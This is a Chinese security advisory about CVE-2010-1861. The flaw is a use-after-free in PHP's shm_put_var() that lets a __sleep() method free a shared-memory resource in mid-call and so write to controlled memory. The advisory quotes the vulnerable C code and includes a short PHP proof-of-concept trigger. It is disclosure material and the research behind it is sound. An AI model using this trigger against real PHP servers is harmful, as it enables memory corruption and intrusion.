PHP shm_put_var（）访问已释放资源漏洞

发布日期：2010-05-05
更新日期：2010-05-10受影响系统：
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述：
--------------------------------------------------------------------------------
CVE ID: CVE-2010-1861PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。当PHP函数需要追踪数据结构时，会使用Zend引擎注册资源。资源系统中的引用计数器仅会追踪指向实际资源的PHP变量，不会计算有多少函数在内部使用资源，这就在PHP代码中引入了漏洞。如果用户代码可以在PHP函数通过资源标识符获得了资源数据后中断该函数，就可以释放资源然后在内存中同样的位置分配同样大小的PHP字符串。可利用这个PHP字符串创建特制的资源允许利用PHP函数的内部。当恶意中断结束后，函数就会继续，使用已被替换的资源数据。其中的一个有漏洞函数是sysvshm扩展的shm_put_var（）函数：PHP_FUNCTION（shm_put_var）
{
    ...    if （SUCCESS ！= zend_parse_parameters（ZEND_NUM_ARGS（） TSRMLS_CC, "rlz", &shm_id, &shm_key, &arg_var）） {
        return;
    }    SHM_FETCH_RESOURCE（shm_list_ptr, shm_id）;

    /* setup string-variable and serialize */
    PHP_VAR_SERIALIZE_INIT（var_hash）;
    php_var_serialize（&shm_var, &arg_var, &var_hash TSRMLS_CC）;
    PHP_VAR_SERIALIZE_DESTROY（var_hash）;

    /* insert serialized variable into shared memory */
    ret = php_put_shm_data（shm_list_ptr->ptr, shm_key, shm_var.c, shm_var.len）;shm_put_var（）内部调用了序列化功能，该功能也会序列化对象并调用对象的__sleep（）方式。这个__sleep（）方式之后可以释放shm资源，允许替换内存中在php_put_shm_data（）调用中使用的shm_list_ptr结构，这会写入任意受控的内存。static int php_put_shm_data（sysvshm_chunk_head *ptr, long key, const char *data, long len）
{
    sysvshm_chunk *shm_var;
    long total_size;
    long shm_varpos;    ...    shm_var = （sysvshm_chunk *）（（char *） ptr + ptr->end）;
    shm_var->key = key;
    shm_var->length = len;
    shm_var->next = total_size;
    memcpy（&（shm_var->mem）, data, len）;
    ptr->end += total_size;
    ptr->free -= total_size;
    return 0;<*来源：Stefan Esser （s.esser@ematters.de）

链接：http://php-security.org/2010/05/05/mops-2010-009-php-shm_put_var-already-freed-resource-access-vulnerability/index.html
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！<？php
    class dummy
    {
        function __sleep（）
        {
            shm_detach（$GLOBALS["r"]）;
            $GLOBALS["xxxxxxxxxxxxxxxxxxxxxxxxxxxxA"] = "AAAAAAAABBB";
            $GLOBALS["xxxxxxxxxxxxxxxxxxxxxxxxxxxxx"] = "AAAAAAAABBBBBBBBCCCCCCC";
            return array（）;
        }
    }

    $r = shm_attach（0x7350）;
    shm_put_var（$r, 0x31337, new dummy（））;
？>建议：
--------------------------------------------------------------------------------
厂商补丁：PHP
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：http://www.php.netLinux用户安全意识缺乏导致僵尸病毒大传播PHP preg_quote（）中断信息泄露漏洞相关资讯漏洞

快递官网漏洞泄露 1400 万用户信息（08/12/2014 08:37:42）
要389目录服务器访问绕过漏洞（10/01/2012 09:18:08）
ASUS Net4Switch "ipswcom.dll" （03/02/2012 09:32:42）

软件漏洞是一笔大买卖！（10/06/2012 08:28:32）
PHPCMS V9.1.13任意文件包含漏洞分（08/01/2012 07:23:17）
Open Handset Alliance Android （03/01/2012 06:59:34）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论
参与本评论即表明您已经阅读并接受上述条款